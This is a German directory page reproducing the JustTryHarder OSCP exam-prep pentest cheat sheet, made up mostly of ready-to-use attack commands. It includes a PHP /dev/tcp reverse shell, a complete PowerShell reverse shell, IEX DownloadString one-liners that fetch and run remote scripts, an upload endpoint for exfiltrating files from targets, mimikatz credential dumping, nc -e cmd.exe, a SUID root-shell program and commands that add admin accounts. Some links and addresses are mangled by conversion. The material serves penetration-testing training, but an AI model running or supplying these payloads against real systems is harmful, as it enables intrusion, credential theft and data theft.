Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
JustTryHarder — Umfassender Penetrationstest-Spickzettel zur Vorbereitung auf die PWK/OSCP-Prüfung, der Privilegieneskalation, Passwortknacken, Payload-Erstellung, Post-Exploitation, Port-Scanning, Web-Angriffe und Aufklärungstechniken abdeckt. | Kitploit
Tools/GitHubGitHub/sinfulz/justtryharder
Passwort-CrackingPrivilege EscalationAufklärungPayload-GenerierungPort-ScanningExploitationPost-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubsinfulz/justtryharder

JustTryHarder

836106vor 1 MonatVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Umfassender Penetrationstest-Spickzettel zur Vorbereitung auf die PWK/OSCP-Prüfung, der Privilegieneskalation, Passwortknacken, Payload-Erstellung, Post-Exploitation, Port-Scanning, Web-Angriffe und Aufklärungstechniken abdeckt.

Repository anzeigen

JustTryHarder

JustTryHarder ist ein Spickzettel, der dich durch den PWK-Kurs und die OSCP-Prüfung begleiten wird.

(Inspiriert von PayloadAllTheThings)

Du kannst gerne einen Pull-Request einreichen und einen Stern hinterlassen, um etwas Liebe zu zeigen, wenn dir das geholfen hat. 💖

Hacktoberfest-freundlich!

Ja, wir sind offen für Pull-Requests für Hacktoberfest! Bitte stelle sicher, dass es kein Spam ist und tatsächlich einen guten Beitrag zu diesem Repo leistet. Danke & happy hacking!

Haftungsausschluss: Keines der unten aufgeführten Dinge enthält Spoiler für die PWK-Labs / OSCP-Prüfung.

Quellenangabe

Ich habe viele dieser Informationen aus anderen Github-Repos, Blogs, Websites und mehr bezogen. Ich habe versucht, dem ursprünglichen Ersteller so viel Anerkennung wie möglich zu geben. Falls ich dir keine Anerkennung gegeben habe, kontaktiere mich bitte auf Twitter: https://twitter.com/s1nfulz

Inhaltsverzeichnis

  • Bestimmung des Betriebssystems eines Hosts per Ping
  • BOF (WIP)
  • Breakouts / Umgebungsausbrüche
  • DNS - Zonentransfers
  • Dateitransfers
  • Kerberoasting
  • LFI / RFI
  • MSSQL / SQLi
  • Passwortknacken
  • Passwort-Spraying (CrackMapExec)
  • Payload-Generierung
  • PHP
  • Privilegieneskalation - Linux
  • Privilegieneskalation - Windows
  • Post-Exploitation
  • Port-Weiterleitung
  • Socks-Proxy (mit PowerShell)
  • Port-Scanning
  • Ping-Sweep
  • Pivoting
  • Remote Desktop
  • Responder
  • Reverse Shells
  • Shell-Upgrade
  • SQL-Injection (SQLmap)
  • Lauschende Ports anzeigen
  • SMB - Enumeration
  • SMB - Impacket
  • SMTP-Enumeration
  • ICMP-Injection
  • VMware (nicht im Vollbildmodus)
  • Webserver
  • Web-Scanning
  • Web-Shells
  • WordPress
  • Windows-Framework / PowerShell
  • Windows-Post-Exploitation-Befehle
  • Schreibbare Verzeichnisse
  • Aufgabenliste
  • Danksagung

Bestimmung des Betriebssystems eines Hosts per Ping```bash

ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms

root@kitploit:~
Der `TTL` kann verwendet werden, um das Betriebssystem des Hosts zu bestimmen. Die drei verschiedenen TTL-Typen sind wie folgt dargestellt:

  - **TTL=64** = \*nix – Der Hop Count; wenn du also 61 erhältst, gibt es 3 Hops und es handelt sich um ein \*nix-Gerät. Höchstwahrscheinlich Linux.
  - **TTL=128** = Windows – Auch hier: Wenn der TTL 127 beträgt, ist der Hop 1 und es ist eine Windows-Box.
  - **TTL=254** = Solaris/AIX – Wenn der TTL 250 beträgt, ist der Hop Count 4 und es ist eine Solaris-Box.

## BOF (WIP)

(Typische schlechte Zeichen sind: `0x00`, `0x0A`, `0x0D`)

  - Fuzzing
  - Finden der EIP-Position
  - Finden schlechter Zeichen
  - Lokalisieren von `jmp esp`
  - Generieren des Payloads mit `msfvenom`
  - Reverse Shell mit `netcat` erhalten

**Gute BOF-Ressourcen:**

  - [NCC Group - Writing Exploits for Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
  - [Corelan - Exploit Writing Tutorial Part 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
  - [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
  - [VeteranSec - 32-bit Windows Buffer Overflows Made Easy](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)

## Breakouts / Umgebungsausbrüche

  - [Pentest Partners - Breaking out of Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
  - [SRA.io - SiteKiosk Breakout](https://sra.io/blog/sitekiosk-breakout/)
  - [TrustedSec - Kiosk/POS Breakout Keys](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
  - [Cognosec - Breaking out of Citrix Environment](https://cognosec.com/breaking-out-of-citrix-environment/)
  - [NetSPI - Breaking out of Applications](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
  - [NCC Group - Common Issues with Environment Breakouts (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
  - [GracefulSecurity - Citrix Breakout](https://gracefulsecurity.com/citrix-breakout/)

## DNS - Zonentransfers```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Dateiübertragungen

### SMB Transfer

Auf dem Opferrechner (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget-Transfer

So rufen Sie Dateien vom Host ab (innerhalb einer Reverse Shell).

**Einrichtung:** Legen Sie die zu übertragende Datei in `/var/www/html/` ab und führen Sie `service apache2 start` aus.

Führen Sie auf dem entfernten Server aus:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64)       # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/)   # <- for folder
```
### TFTP-Übertragung

(Wie man von Kali zu Windows überträgt).

**Verwendung von MSF:**
Starten Sie MSF vor diesen Schritten:

1.  `use auxiliary/server/tftp`
2.  `set TFTPROOT /usr/share/mimikatz/Win32/`
3.  `run`

**In einem Terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`

### NetCat (Windows zu Kali)

1.  **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2.  **Linux:** `nc -nlvp 4444 > bank-account.zip`

### PowerShell

Interaktive Sitzung:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Ohne eine interaktive PowerShell-Sitzung (Erstelle `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -> Linux)

**Lokaler Host:**

1.  `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2.  Übertrage `encoded.b64` auf den entfernten Server via `nc` oder anderweitig.

**Entfernter Server - Linux:**
3. `cat /path/to/encoded.b64 | base64 -d > exploit.py`

### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTP-Datei-Upload (Exfiltration)

**1. upload.php erstellen**
Erstellen im Webroot der angreifenden Maschine (standardmäßig `/var/www/html`).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Verzeichnis erstellen**
Erstellen Sie ein Upload-Verzeichnis und legen Sie die entsprechenden Berechtigungen fest, um das Hochladen zu ermöglichen.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Datei hochladen**
Laden Sie eine Datei vom Zielrechner auf den Angriffsrechner mit PowerShell hoch:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting

  - `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
  - `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
  - `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`

## LFI / RFI

**PHP Reverse Shell:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**Befehlseinschleusung:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi

  - `EXEC master..xp_cmdshell 'whoami';`
  - `' exec master..xp_cmdshell 'whoami' --`
  - [OSCP-2 SQL Injection Cheatsheet](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
  - [PentestMonkey SQL Injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection)

## Passwort-Knacken

**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## Passwort-Spraying (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Payload-Generierung

  - [NETSEC - Erstellen von Payloads](https://netsec.ws/?p=331)
  - [MsfVenom Spickzettel](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
  - [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
  - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

**Typen:**

  - Non-staged: `netcat`
  - Staged: `multi/handler`

## PHP

  - [Die Unterschiede zwischen exec(), shell\_exec, system() und passthru()](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)

## Privilegieneskalation – Linux

**Hinweis:** Wenn GCC & wget installiert sind, KÖNNTE das System anfällig für einen Kernel-Exploit sein.

  - [Linux-Kernel-Exploits](https://github.com/SecWiki/linux-kernel-exploits)
  - [GTFObins – Ausbruch aus eingeschränkten Shells](https://gtfobins.github.io)
      - GTFO-Helper-Skript: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
  - [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
  - [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
  - [Grundlagen der Linux-Privilegieneskalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

**Befehle zur Enumeration:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**Custom SUID binary:** Erfordert Codeausführung als Zielbenutzer. Beispiel: mysql sys\_eval als root.```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main(){
    setuid(geteuid());
    system("/bin/bash");
    return 0;
}
```
## Priv Esc - Windows

  - [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
  - [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
  - [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
  - [Powerless - Enumeration Tool](https://github.com/M4ximuss/Powerless)
  - [Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop)
  - [Just Another Windows (Enum) Script / JAWS](https://github.com/411Hall/JAWS)
  - [Watson](https://github.com/rasta-mouse/Watson)
  - [Sherlock (veraltet)](https://github.com/rasta-mouse/Sherlock)
  - [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)

**Befehle:**

  - `churrasco -d "net user /add <username> <password>"`
  - `churrasco -d "net localgroup administrators <username> /add"`
  - `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`

## Post Exploitation

1.  `Mimikatz.exe` (ausführen)
2.  `privilege::debug`
3.  `sekurlsa::logonpasswords`

## Port Weiterleitung

> **Lokal:** Lokalen Port auf entfernten Host weiterleiten.
> Verwende lokal, wenn du einen Dienst auf einer Maschine hast, der von der entfernten Maschine aus erreichbar ist, und du direkt von der lokalen Maschine darauf zugreifen möchtest.
>
> **Remote:** Entfernten Port auf lokalen Host weiterleiten.
> Verwende remote, wenn du einen Dienst hast, der von der lokalen Maschine aus erreichbar ist, und du ihn für die entfernte Maschine verfügbar machen musst. Es öffnet den lauschenden Socket auf der Maschine, bei der du dich per SSH angemeldet hast.
>
> **Dynamisch:** SOCKS verwenden.
> Dynamisch ist wie lokal, verhält sich aber auf der Client-Seite wie ein SOCKS-Proxy. Verwende es, wenn du eine Verbindung mit einer Software herstellen musst, die SOCKS-Weiterleitung erwartet.

### Chisel

**Lokales System:**```bash
./chisel server -p 8080 --reverse
```
**Opfer:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH

1.  **Erzeuge ein SSH-Schlüsselpaar** auf dem Rechner, über den die Umleitung (Pivot) erfolgt, um Ihre Anmeldedaten zu schützen.

<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2.  **Kopieren Sie den öffentlichen Schlüssel**. Fügen Sie diesen Wert und die IP-Adresse der Pivot-Maschine in die Datei `~/.ssh/authorized_keys` auf Ihrem Angriffsrechner (Kali) ein, indem Sie die folgende Syntax verwenden.

<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3.  **Stellen Sie sicher, dass der SSH-Dienst ausgeführt wird** auf Ihrem Angriffs-(Kali)-Rechner.

<!-- end list -->```bash
sudo service ssh start
```
4.  **SSH-Aufruf initiieren** von der Box, durch die der Tunnel geführt wird, und den in Schritt 1 generierten privaten Schlüssel `id_rsa` angeben.

<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5.  **Bearbeite deine proxychains-Konfiguration**: `/etc/proxychains.conf`

<!-- end list -->```
socks4 127.0.0.1 1080
```
6.  **Proxychains ausführen**. Stellen Sie beim Scannen mit `nmap` sicher, dass Sie TCP-Connect-Scans verwenden.

<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**Zusätzliche Hinweise:**

  - `ssh [email protected] -R 1234:127.0.0.1:1234`
  - `ssh -D 1337 -q -C -N -f [email protected]` ([Quelle](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))

## Socks Proxy (mit PowerShell)

**Lokal:**

  - `vi /etc/proxychains.conf` -\> `socks5 <ip> 9080`
  - `Import-Module .\Invoke-SocksProxy.psm1`
  - `Invoke-SocksProxy -bindPort 9080`
  - `proxychains nmap -sT <ip>`

## Port-Scanning

### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP

(Kann Stunden dauern, `netstat` ist eine bessere Alternative, wenn Sie eine Shell haben).```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### Andere Protokolle

**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`

**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`

**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`

**NMAP Bootstrap Report:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Ping-Sweep

### Linux (Einzeiler)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (Skript)```bash
for i in `seq 1 255`
do
    ping -c1 192.168.125.$i 2>/dev/null 1>&2
    if [[ $? -eq 0 ]]
    then
        echo 192.168.125.$i is up
    fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## Pivotieren

  - `sshuttle -r [email protected] 10.1.1.0/24`

## Remotedesktop

  - `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
  - `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`

## Responder

  - `responder -I tun0 -wrF`
  - [Responder mit NTLM-Relay und Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
  - [Praktischer Leitfaden zum NTLM-Relaying](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)

## Reverse Shells

**Linux:**

  - [PentestMonkey – Spickzettel für Reverse Shells](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
  - [Awansec – Reverse Shell](https://awansec.com/reverse-shell.html)
  - [RevShells.com](https://www.revshells.com/)

**Windows:**

  - [GitHub – Windows PHP Reverse Shell](https://github.com/Dhayalanb/windows-php-reverse-shell)
  - `nc 10.10.10.10 4444 –e cmd.exe`

## Shell-Upgrade

Quelle: [Ropnop Blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTB Forum](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

### Python

1.  `python -c 'import pty;spawn("/bin/bash");'` ODER `python3 -c 'import pty;spawn("/bin/bash");'`
2.  In der Reverse Shell:

<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3.  In Kali:

<!-- end list -->```bash
stty raw -echo
fg
```
4.  In einer Reverse Shell:

<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Verwendung von Socat

**Listener:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**Opfer:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl

1.  `perl -e 'exec "/bin/sh";'`
2.  `perl: exec "/bin/sh";`

### Bash

`/bin/sh -i`

## SQL Injection (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## Offene Ports anzeigen

**Linux netstat:**
`netstat -tulpn | grep LISTEN`

**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`

**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`

**Nmap-Scan:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)

## SMB - Enumeration

  - [0xdf - SMB-Enumeration-Checkliste](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
  - `smbmap -H 10.10.10.10`
  - `smbclient -L 10.0.0.10`
  - `smbclient //10.10.10.10/share$`

## SMB - Impacket

**Impackets PSEXEC** (Nach Erstellen eines Remote-Port-Forwardings):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket's SMBServer** (Für Dateiübertragung):

1.  `cd /usr/share/windows-binaries`
2.  `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3.  `\\10.10.10.10\a\mimikatz.exe`

## SMTP-Enumeration

  - [SMTP-Befehle](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)

## ICMP-Injection

1.  `ping -n 3 10.10.10.10`
2.  `tcpdump -i tun0 icmp`

## VMware (kein Vollbild)

`systemctl restart open-vm-tools.service`

## Webserver

  - `python -m SimpleHTTPServer 80`
  - `python3 -m http.server 80`
  - `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
  - `php -S 0.0.0.0:80`

## Web-Scanning

**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**Weitere GoBuster:**

  - HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
  - HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`

**Nikto:**

  - HTTP: `nikto -h 10.10.10.10 -p 80`
  - HTTPS: `nikto -h 10.10.10.10 -p 443`

**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## Web-Shells

  - [PHPBash](https://github.com/Arrexel/phpbash)
  - [p0wny-shell](https://github.com/flozz/p0wny-shell)

## WordPress

  - [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)

## Windows Framework / Powershell

**Powershell-Ausführungsrichtlinie umgehen:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**Ressourcen:**

  - [Nishang](https://github.com/samratashok/nishang)
  - [Sherlock](https://github.com/rasta-mouse/Sherlock)

**Reverse PowerShell:**
(Manchmal muss powershell oder echo vor dem String stehen, oder es müssen Anführungszeichen verwendet werden).```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp (vom lokalen Webserver):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
oder```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**Reverse PowerShell mit MSSQL:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**Dateiübertragung mit PowerShell:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Windows Post-Exploitation-Befehle```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## Beschreibbare Verzeichnisse

### Windows

(Quelle: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
Die folgenden Ordner sind standardmäßig für normale Benutzer beschreibbar (variiert je nach Betriebssystemversion).```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux

Um weltweit beschreibbare Verzeichnisse in Linux zu finden:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
## Aufgabenliste:

  - [ ] Verbessere die Lesbarkeit des Cheatsheets
  - [ ] Fülle die leeren Abschnitte aus
  - [ ] Entferne unnötige Abschnitte
  - [ ] Integriere die Dateien im Repository in das Cheatsheet
  - [ ] Migriere zu GitBook
  - [ ] Füge Screenshots/GIFs in das Cheatsheet ein, falls nötig
  - [ ] Füge ein Inhaltsverzeichnis hinzu

## Danke:

Danke an diese Leute, die mein Cheatsheet auf ihrer Website/Blog aufgenommen haben:

- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [NCyberSec Facebook Post](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [CyberG0100 Facebook Post](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [r/CyberSpaceVN Reddit Post](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [XN4K PWK Cheatsheet](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [OpenSourceLibs Pentesting Tools](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [BugBountyTips Blog](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [PythonLang OSCP Category](https://pythonlang.dev/category/oscp/)
Tool herunterladen